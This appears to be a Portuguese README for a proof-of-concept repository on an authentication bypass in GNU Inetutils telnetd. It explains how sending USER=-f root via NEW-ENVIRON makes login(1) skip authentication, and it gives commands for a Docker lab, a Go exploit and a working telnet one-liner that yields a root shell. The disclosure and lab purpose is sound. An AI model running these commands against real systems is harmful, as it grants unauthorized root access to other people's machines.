
GNU Inetutils telnetd Bypass de Autenticação Remota
Sério, telnet em 2026? Qual é, pessoal, está na hora de evoluir. O SSH existe desde 1995. 🤦
Uma vulnerabilidade crítica de bypass de autenticação no telnetd do GNU Inetutils que afeta as versões 1.9.3 a 2.7.
A vulnerabilidade explora a opção telnet NEW-ENVIRON para injetar argumentos maliciosos no login(1). Ao definir USER=-f root via protocolo telnet, um atacante pode contornar a autenticação e obter um shell root sem credenciais.
O protocolo telnet suporta a opção NEW-ENVIRON (RFC 1572) que permite ao cliente enviar variáveis de ambiente para o servidor. O daemon telnetd passa a variável USER para o como argumento.
login(1)Ao enviar USER=-f root, o valor é interpretado como:
-f: Ignorar autenticação (host confiável)root: Usuário alvoIsso faz com que login -f root seja executado, concedendo acesso root imediato.
O PoC detecta a exploração bem-sucedida verificando IAC WILL ECHO (0xff 0xfb 0x01) — o sinal de protocolo que o servidor envia quando o acesso ao shell é concedido.
# Compilar e executar o contêiner telnetd vulnerável
docker compose up --build -d
# Testar o exploit
go run poc.go 127.0.0.1 2323
# Usando o PoC em Go (com shell interativo)
go run poc.go <alvo> <porta>
# PoC simples usando o cliente telnet padrão
env USER='-f root' telnet -a <alvo> <porta>
poc.go - Exploit em Go com shell interativoDockerfile - Contêiner telnetd vulneráveldocker-compose.yml - Orquestração do laboratório